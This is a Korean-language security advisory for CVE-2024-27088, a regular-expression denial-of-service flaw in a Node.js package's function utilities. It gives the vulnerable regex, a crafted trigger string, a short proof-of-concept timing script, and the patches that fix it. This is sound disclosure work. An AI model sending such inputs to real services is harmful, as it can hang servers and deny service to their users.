
redos
CVE-2024-27088
2024년 2월 26일
node.js 패키지의 ReDoS
rebob 프로젝트의 일환
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
이 취약점은 괄호의 불균형이 있을 때 악용될 수 있으며, 이로 인해 과도한 백트래킹이 발생하고 결과적으로 CPU 부하와 처리 시간이 크게 증가합니다. 이 취약점은 다음 입력을 사용하여 트리거할 수 있습니다:
'function{' + 'n'.repeat(31) + '){'
다음은 문제를 보여주는 간단한 PoC 코드입니다:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
영향
매우 긴 이름이나 복잡한 기본 인자 이름을 가진 함수를 function#copy 또는 function#toStringTokens에 전달하면 스크립트가 중단될 수 있습니다
패치 3551cdd와 a52e957로 수정됨 v0.10.63으로 게시됨
우회 방법 위 유틸리티 사용을 자제하는 것 외에는 실질적인 우회 방법이 없습니다.